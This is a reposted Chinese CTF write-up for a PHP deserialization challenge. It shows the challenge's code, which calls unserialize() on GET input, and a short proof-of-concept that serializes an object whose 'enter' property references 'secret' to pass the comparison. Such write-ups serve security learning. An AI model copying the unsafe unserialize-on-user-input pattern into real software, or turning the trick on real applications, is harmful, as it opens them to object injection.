码迷,mamicode.com
首页 > Web开发 > 详细

南邮PHP反序列化

时间:2018-08-04 11:49:37      阅读:458      评论:0      收藏:0      [点我收藏+]

标签:fun   this   对象   nbsp   ret   var   HERE   enter   magic   

题目如下:

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET[‘pass‘])) {
    $pass = $_GET[‘pass‘];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can‘t fool me";
    }
    else echo "are you trolling?";
}
?>

主要是涉及了一个PHP对象深浅拷贝,文章:

直接构造POC:

<?php 
class just4fun
{
    var $enter;
    var $secret;
    
    function __construct()
    {
        $this->enter=&$this->secret;
    }
}
echo serialize(new just4fun());

 ?>

 

南邮PHP反序列化

标签:fun   this   对象   nbsp   ret   var   HERE   enter   magic   

原文地址:https://www.cnblogs.com/nul1/p/9417484.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!